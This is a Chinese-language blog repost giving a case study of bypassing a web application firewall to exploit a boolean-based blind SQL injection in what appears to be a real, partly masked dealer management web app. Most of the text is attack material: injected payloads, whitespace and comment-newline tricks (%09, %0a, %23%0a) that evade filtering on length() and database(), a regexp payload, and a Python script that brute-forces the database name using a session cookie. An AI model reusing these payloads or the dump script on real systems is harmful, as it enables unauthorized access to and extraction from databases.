如何解析SQL的bypass案例分析

发布时间:2021-12-09 18:41:11 作者:柒染
来源:亿速云 阅读:167

这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

一、测试发现一个布尔型注入点,测试过程如下:

1、原始请求

如何解析SQL的bypass案例分析2、输入’or’1’like’1

如何解析SQL的bypass案例分析

3、输入’or’1’like’2

如何解析SQL的bypass案例分析

4、初步判断存在布尔型sql盲注,然后开始判断库名长度:

如何解析SQL的bypass案例分析5、首先想到可能处理了空格,手工简单测试下:

如何解析SQL的bypass案例分析

如何解析SQL的bypass案例分析

如何解析SQL的bypass案例分析

如何解析SQL的bypass案例分析

6、发现:

空格or(不拦截)

or空格(拦截)

or/**/(拦截)

or%09 %0a %0b %0c %0d(不拦截)

二、简单fuzz下字符:

如何解析SQL的bypass案例分析1、or (偶数个~) 也可以bypass

如何解析SQL的bypass案例分析

如何解析SQL的bypass案例分析

2、奇数个~执行失败:

如何解析SQL的bypass案例分析3、进一步获取库名长度:

如何解析SQL的bypass案例分析

4、还是被拦截,猜测是处理了length()或database()函数,简单尝试下:

如何解析SQL的bypass案例分析

5、length()被处理掉了,fuzz一下:

如何解析SQL的bypass案例分析

6、利用注释换行符组合如length%23%0a()即可绕过:

如何解析SQL的bypass案例分析

7、这里还是报错,简单测试了下,把空格键换一下即可解决:

如何解析SQL的bypass案例分析8、继续判断库名长度:

如何解析SQL的bypass案例分析

9、database()也被处理掉了,同样的方法可绕过:

如何解析SQL的bypass案例分析10、最终得出数据库长度为7,如下图:

如何解析SQL的bypass案例分析

11、获取库名

如何解析SQL的bypass案例分析

12、substr未拦截,借助intruder跑一下:

如何解析SQL的bypass案例分析

注出第一个字符为l

三、写个脚本拖一下完整库名:

import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_-'database = ''for l in range(1,8):       for payload in payloads:              burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0&registerDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload)              burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"}              burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"}              resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)              if "2018-10-22" in resp.content:                     database += payload                     print '[*]success\t' + database              else:                     print '[*]dumping......'print '[*]current database is:\t' + database

如何解析SQL的bypass案例分析

借助regexp正则匹配也可以实现,payload:

'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1

如何解析SQL的bypass案例分析

如何解析SQL的bypass案例分析

成功注出第一个字符:l,以此类推。

关于如何解析SQL的bypass案例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

推荐阅读:
  1. T-SQL的案例分析
  2. XML解析中DOM解析的案例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql bypass

上一篇:如何解析sql注入绕过技术

下一篇:Scala中的表达式怎么写

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》